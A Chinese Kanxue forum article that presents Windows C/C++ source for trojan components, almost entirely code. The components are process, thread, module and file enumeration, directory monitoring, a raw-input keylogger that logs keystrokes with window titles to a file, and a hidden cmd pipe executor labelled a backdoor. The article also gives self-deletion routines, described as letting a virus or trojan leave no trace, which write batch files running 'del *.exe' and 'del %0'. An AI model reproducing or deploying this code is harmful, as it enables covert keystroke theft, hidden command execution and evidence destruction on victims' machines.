本文为看雪论优秀文章
看雪论坛作者ID:大二学生
0x00
0x01进程遍历
1、调用CreateToolhelp32Snapshot获取所有进程的快照信息之所以称为快照是因为保存的是之前的信息,该函数返回进程快照句柄。
2、调用Process32First获取第一个进程的信息,返回的进程信息保存在PROCESSENTRY32结构体中,该函数的第一个参数是CreateToolhelp32Snapshot返回的快照句柄。
3、循环调用Process32Next从进程列表中获取下一个进程的信息,直到Process32Next函数返回FALSE,GetLastError的错误码为ERROR_NO_MORE_FILES,则遍历结束。
4、关闭快照句柄并释放资源
遍历线程和进程模块的步骤和上面的相似,线程遍历使用Thread32First和Thread32Next,模块遍历使用Module32First和Module32Next。
#include "stdafx.h"
#include "EnumInfo.h"
void ShowError(char *lpszText)
{
char szErr[MAX_PATH] = {0};
::wsprintf(szErr, "%s Error[%d]\n", lpszText, ::GetLastError());
#ifdef _DEBUG
::MessageBox(NULL, szErr, "ERROR", MB_OK);
#endif
}
BOOL EnumProcess()
{
PROCESSENTRY32 pe32 = { 0 };
pe32.dwSize = sizeof(PROCESSENTRY32);
// 获取全部进程快照
HANDLE hProcessSnap = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (INVALID_HANDLE_VALUE == hProcessSnap)
{
ShowError("CreateToolhelp32Snapshot");
return FALSE;
}
// 获取快照中第一条信息
BOOL bRet = ::Process32First(hProcessSnap, &pe32);
while (bRet)
{
// 显示 Process ID
printf("[%d]\t", pe32.th32ProcessID);
// 显示 进程名称
printf("[%s]\n", pe32.szExeFile);
// 获取快照中下一条信息
bRet = ::Process32Next(hProcessSnap, &pe32);
}
// 关闭句柄
::CloseHandle(hProcessSnap);
return TRUE;
}
BOOL EnumThread()
{
THREADENTRY32 te32 = { 0 };
te32.dwSize = sizeof(THREADENTRY32);
// 获取全部线程快照
HANDLE hThreadSnap = ::CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
if (INVALID_HANDLE_VALUE == hThreadSnap)
{
ShowError("CreateToolhelp32Snapshot");
return FALSE;
}
// 获取快照中第一条信息
BOOL bRet = ::Thread32First(hThreadSnap, &te32);
while (bRet)
{
// 显示 Owner Process ID
printf("[%d]\t", te32.th32OwnerProcessID);
// 显示 Thread ID
printf("[%d]\n", te32.th32ThreadID);
// 获取快照中下一条信息
bRet = ::Thread32Next(hThreadSnap, &te32);
}
// 关闭句柄
::CloseHandle(hThreadSnap);
return TRUE;
}
BOOL EnumProcessModule(DWORD dwProcessId)
{
MODULEENTRY32 me32 = { 0 };
me32.dwSize = sizeof(MODULEENTRY32);
// 获取指定进程全部模块的快照
HANDLE hModuleSnap = ::CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, dwProcessId);
if (INVALID_HANDLE_VALUE == hModuleSnap)
{
ShowError("CreateToolhelp32Snapshot");
return FALSE;
}
// 获取快照中第一条信息
BOOL bRet = ::Module32First(hModuleSnap, &me32);
while (bRet)
{
// 显示 Process ID
printf("[%d]\t", me32.th32ProcessID);
// 显示 模块加载基址
printf("[0x%p]\t", me32.modBaseAddr);
// 显示 模块名称
printf("[%s]\n", me32.szModule);
// 获取快照中下一条信息
bRet = ::Module32Next(hModuleSnap, &me32);
}
// 关闭句柄
::CloseHandle(hModuleSnap);
return TRUE;
}
0x02 文件遍历
#include "stdafx.h"
#include "FileSearch.h"
void SearchFile(char *pszDirectory)
{
// 搜索指定类型文件
DWORD dwBufferSize = 2048;
char *pszFileName = NULL;
char *pTempSrc = NULL;
WIN32_FIND_DATA FileData = {0};
BOOL bRet = FALSE;
// 申请动态内存
pszFileName = new char[dwBufferSize];
pTempSrc = new char[dwBufferSize];
// 构造搜索文件类型字符串, *.*表示搜索所有文件类型
::wsprintf(pszFileName, "%s\\*.*", pszDirectory);
// 搜索第一个文件
HANDLE hFile = ::FindFirstFile(pszFileName, &FileData);
if (INVALID_HANDLE_VALUE != hFile)
{
do
{
// 要过滤掉 当前目录"." 和 上一层目录"..", 否则会不断进入死循环遍历
if ('.' == FileData.cFileName[0])
{
continue;
}
// 拼接文件路径
::wsprintf(pTempSrc, "%s\\%s", pszDirectory, FileData.cFileName);
// 判断是否是目录还是文件
if (FileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
{
// 目录, 则继续往下递归遍历文件
SearchFile(pTempSrc);
}
else
{
// 文件
printf("%s\n", pTempSrc);
}
// 搜索下一个文件
} while (::FindNextFile(hFile, &FileData));
}
// 关闭文件句柄
::FindClose(hFile);
// 释放内存
delete []pTempSrc;
pTempSrc = NULL;
delete []pszFileName;
pszFileName = NULL;
}
0x03 按键记录
#include "RawInputTest.h"
#include "VirtualKeyToAscii.h"
void ShowError(char *pszText)
{
char szErr[MAX_PATH] = { 0 };
::wsprintf(szErr, "%s Error[%d]\n", pszText, ::GetLastError());
::MessageBox(NULL, szErr, "ERROR", MB_OK);
}
// 注册原始输入设备
BOOL Init(HWND hWnd)
{
// 设置 RAWINPUTDEVICE 结构体信息
RAWINPUTDEVICE rawinputDevice = { 0 };
rawinputDevice.usUsagePage = 0x01;
rawinputDevice.usUsage = 0x06;
rawinputDevice.dwFlags = RIDEV_INPUTSINK;
rawinputDevice.hwndTarget = hWnd;
// 注册原始输入设备
BOOL bRet = ::RegisterRawInputDevices(&rawinputDevice, 1, sizeof(rawinputDevice));
if (FALSE == bRet)
{
ShowError("RegisterRawInputDevices");
return FALSE;
}
return TRUE;
}
// 获取原始输入数据
BOOL GetData(LPARAM lParam)
{
RAWINPUT rawinputData = { 0 };
UINT uiSize = sizeof(rawinputData);
// 获取原始输入数据的大小
::GetRawInputData((HRAWINPUT)lParam, RID_INPUT, &rawinputData, &uiSize, sizeof(RAWINPUTHEADER));
if (RIM_TYPEKEYBOARD == rawinputData.header.dwType)
{
// WM_KEYDOWN --> 普通按键 WM_SYSKEYDOWN --> 系统按键(指的是ALT)
if ((WM_KEYDOWN == rawinputData.data.keyboard.Message) ||
(WM_SYSKEYDOWN == rawinputData.data.keyboard.Message))
{
// 记录按键
SaveKey(rawinputData.data.keyboard.VKey);
}
}
return TRUE;
}
// 保存按键信息
void SaveKey(USHORT usVKey)
{
char szKey[MAX_PATH] = { 0 };
char szTitle[MAX_PATH] = { 0 };
char szText[MAX_PATH] = { 0 };
FILE *fp = NULL;
// 获取顶层窗口
HWND hForegroundWnd = ::GetForegroundWindow();
// 获取顶层窗口标题
::GetWindowText(hForegroundWnd, szTitle, 256);
// 将虚拟键码转换成对应的ASCII
::lstrcpy(szKey, GetKeyName(usVKey));
// 构造按键记录信息字符串
::wsprintf(szText, "[%s] %s\r\n", szTitle, szKey);
// 打开文件写入按键记录数据
::fopen_s(&fp, "keylog.txt", "a+");
if (NULL == fp)
{
ShowError("fopen_s");
return;
}
::fwrite(szText, (1 + ::lstrlen(szText)), 1, fp);
::fclose(fp);
}
0x04 后门
#include "stdafx.h"
#include "PipeCmd.h"
void ShowError(char *pszText)
{
char szErr[MAX_PATH] = {0};
::wsprintf(szErr, "%s Error[%d]\n", pszText, ::GetLastError());
::MessageBox(NULL, szErr, "ERROR", MB_OK);
}
// 执行 cmd 命令, 并获取执行结果数据
BOOL PipeCmd(char *pszCmd, char *pszResultBuffer, DWORD dwResultBufferSize)
{
HANDLE hReadPipe = NULL;
HANDLE hWritePipe = NULL;
SECURITY_ATTRIBUTES securityAttributes = {0};
BOOL bRet = FALSE;
STARTUPINFO si = {0};
PROCESS_INFORMATION pi = {0};
// 设定管道的安全属性
securityAttributes.bInheritHandle = TRUE;
securityAttributes.nLength = sizeof(securityAttributes);
securityAttributes.lpSecurityDescriptor = NULL;
// 创建匿名管道
bRet = ::CreatePipe(&hReadPipe, &hWritePipe, &securityAttributes, 0);
if (FALSE == bRet)
{
ShowError("CreatePipe");
return FALSE;
}
// 设置新进程参数
si.cb = sizeof(si);
si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
si.wShowWindow = SW_HIDE;
si.hStdError = hWritePipe;
si.hStdOutput = hWritePipe;
// 创建新进程执行命令, 将执行结果写入匿名管道中
bRet = ::CreateProcess(NULL, pszCmd, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);
if (FALSE == bRet)
{
ShowError("CreateProcess");
}
// 等待命令执行结束
::WaitForSingleObject(pi.hThread, INFINITE);
::WaitForSingleObject(pi.hProcess, INFINITE);
// 从匿名管道中读取结果到输出缓冲区
::RtlZeroMemory(pszResultBuffer, dwResultBufferSize);
::ReadFile(hReadPipe, pszResultBuffer, dwResultBufferSize, NULL, NULL);
// 关闭句柄, 释放内存
::CloseHandle(pi.hThread);
::CloseHandle(pi.hProcess);
::CloseHandle(hWritePipe);
::CloseHandle(hReadPipe);
return TRUE;
}
0x05文件监控
#include "stdafx.h"
#include "MonitorFile.h"
void ShowError(char *pszText)
{
char szErr[MAX_PATH] = { 0 };
::wsprintf(szErr, "%s Error[%d]\n", pszText, ::GetLastError());
::MessageBox(NULL, szErr, "ERROR", MB_OK | MB_ICONERROR);
}
// 宽字节字符串转多字节字符串
void W2C(wchar_t *pwszSrc, int iSrcLen, char *pszDest, int iDestLen)
{
::RtlZeroMemory(pszDest, iDestLen);
// 宽字节字符串转多字节字符串
::WideCharToMultiByte(CP_ACP,
0,
pwszSrc,
(iSrcLen / 2),
pszDest,
iDestLen,
NULL,
NULL);
}
// 目录监控多线程
UINT MonitorFileThreadProc(LPVOID lpVoid)
{
char *pszDirectory = (char *)lpVoid;
// 打开目录, 获取文件句柄
HANDLE hDirectory = ::CreateFile(pszDirectory, FILE_LIST_DIRECTORY,
FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING,
FILE_FLAG_BACKUP_SEMANTICS, NULL);
if (INVALID_HANDLE_VALUE == hDirectory)
{
ShowError("CreateFile");
return 1;
}
char szTemp[MAX_PATH] = { 0 };
BOOL bRet = FALSE;
DWORD dwRet = 0;
DWORD dwBufferSize = 2048;
// 申请一个足够大的缓冲区
BYTE *pBuf = new BYTE[dwBufferSize];
if (NULL == pBuf)
{
ShowError("new");
return 2;
}
FILE_NOTIFY_INFORMATION *pFileNotifyInfo = (FILE_NOTIFY_INFORMATION *)pBuf;
// 开始循环设置监控
do
{
::RtlZeroMemory(pFileNotifyInfo, dwBufferSize);
// 设置监控目录
bRet = ::ReadDirectoryChangesW(hDirectory,
pFileNotifyInfo,
dwBufferSize,
TRUE,
FILE_NOTIFY_CHANGE_FILE_NAME | // 修改文件名
FILE_NOTIFY_CHANGE_ATTRIBUTES | // 修改文件属性
FILE_NOTIFY_CHANGE_LAST_WRITE, // 最后一次写入
&dwRet,
NULL,
NULL);
if (FALSE == bRet)
{
ShowError("ReadDirectoryChangesW");
break;
}
// 将宽字符转换成窄字符
W2C((wchar_t *)(&pFileNotifyInfo->FileName), pFileNotifyInfo->FileNameLength, szTemp, MAX_PATH);
// 判断操作类型并显示
switch (pFileNotifyInfo->Action)
{
case FILE_ACTION_ADDED:
{
// 新增文件
printf("[File Added Action]%s\n", szTemp);
break;
}
default:
{
break;
}
}
} while (bRet);
// 关闭句柄, 释放内存
::CloseHandle(hDirectory);
delete[] pBuf;
pBuf = NULL;
return 0;
}
// 创建目录监控多线程
void MonitorFile(char *pszDirectory)
{
// 创建文件监控多线程
::CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)MonitorFileThreadProc, pszDirectory, 0, NULL);
}
0x06 自删除
自删除功能对病毒木马来说同样至关重要,它通常在完成目标任务之后删除自身,不留下任何蛛丝马迹,自删除的方法有很多种,常见的有利用MoveFileEx重启删除和利用批处理删除两种方式。
#include "stdafx.h"
#include <Windows.h>
BOOL RebootDelete(char *pszFileName)
{
// 重启删除文件
char szTemp[MAX_PATH] = "\\\\?\\";
::lstrcat(szTemp, pszFileName);
BOOL bRet = ::MoveFileEx(szTemp, NULL, MOVEFILE_DELAY_UNTIL_REBOOT);
return bRet;
}
int _tmain(int argc, _TCHAR* argv[])
{
if (FALSE == RebootDelete("C:\\Users\\Test\\Desktop\\520.exe"))
{
printf("Set Reboot Delete Error.\n");
}
else
{
printf("Set Reboot Delete OK.\n");
}
system("pause");
return 0;
}
#include "stdafx.h"
#include <Windows.h>
BOOL CreateChoiceBat(char *pszBatFileName)
{
int iTime = 5;
char szBat[MAX_PATH] = { 0 };
// 构造批处理内容
/*
@echo off
choice /t 5 /d y /n >nul
del *.exe
del %0
*/
::wsprintf(szBat, "@echo off\nchoice /t %d /d y /n >nul\ndel *.exe\ndel %%0\n", iTime);
// 生成批处理文件
FILE *fp = NULL;
fopen_s(&fp, pszBatFileName, "w+");
if (NULL == fp)
{
return FALSE;
}
fwrite(szBat, (1 + ::lstrlen(szBat)), 1, fp);
fclose(fp);
return TRUE;
}
BOOL CreatePingBat(char *pszBatFileName)
{
int iTime = 5;
char szBat[MAX_PATH] = {0};
// 构造批处理内容
/*
@echo off
ping 127.0.0.1 -n 5
del *.exe
del %0
*/
::wsprintf(szBat, "@echo off\nping 127.0.0.1 -n %d\ndel *.exe\ndel %%0\n", iTime);
// 生成批处理文件
FILE *fp = NULL;
fopen_s(&fp, pszBatFileName, "w+");
if (NULL == fp)
{
return FALSE;
}
fwrite(szBat, (1 + ::lstrlen(szBat)), 1, fp);
fclose(fp);
return TRUE;
}
BOOL DelSelf(int iType)
{
BOOL bRet = FALSE;
char szCurrentDirectory[MAX_PATH] = {0};
char szBatFileName[MAX_PATH] = {0};
char szCmd[MAX_PATH] = {0};
// 获取当前程序所在目录
::GetModuleFileName(NULL, szCurrentDirectory, MAX_PATH);
char *p = strrchr(szCurrentDirectory, '\\');
p[0] = '\0';
// 构造批处理文件路径
::wsprintf(szBatFileName, "%s\\temp.bat", szCurrentDirectory);
// 构造调用执行批处理的 CMD 命令行
::wsprintf(szCmd, "cmd /c call \"%s\"", szBatFileName);
// 创建自删除的批处理文件
if (0 == iType)
{
// choice 方式
bRet = CreateChoiceBat(szBatFileName);
}
else if (1 == iType)
{
// ping 方式
bRet = CreatePingBat(szBatFileName);
}
// 创建新的进程, 以隐藏控制台的方式执行批处理
if (bRet)
{
STARTUPINFO si = { 0 };
PROCESS_INFORMATION pi;
si.cb = sizeof(si);
//指定wShowWindow成员有效
si.dwFlags = STARTF_USESHOWWINDOW;
//此成员设为TRUE的话则显示新建进程的主窗口
si.wShowWindow = FALSE;
BOOL bRet = CreateProcess(
//不在此指定可执行文件的文件名
NULL,
//命令行参数
szCmd,
//默认进程安全性
NULL,
//默认进程安全性
NULL,
//指定当前进程内句柄不可以被子进程继承
FALSE,
//为新进程创建一个新的控制台窗口
CREATE_NEW_CONSOLE,
//使用本进程的环境变量
NULL,
//使用本进程的驱动器和目录
NULL,
&si,
&pi);
if (bRet)
{
//不使用的句柄最好关掉
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
// 结束进程
exit(0);
::ExitProcess(NULL);
}
}
return bRet;
}
int _tmain(int argc, _TCHAR* argv[])
{
// 程序自删除
BOOL bRet = DelSelf( 0 );
if (FALSE == bRet)
{
printf("Selft Delete Error!\n");
}
else
{
printf("Selft Delete OK!\n");
}
system("pause");
return 0;
}
参考资料
看雪论坛:通俗解析IRP和I/O设备栈在内核程序中的作用
https://bbs.pediy.com/thread-111559.htm
《黑客免杀攻防》
《黑客编程技术详解》
看雪ID:大二学生
https://bbs.pediy.com/user-home-830337.htm
*本文由看雪论坛 大二学生 原创,转载请注明来自看雪社区。
# 往期推荐
球分享
球点赞
球在看
点击“阅读原文”,了解更多!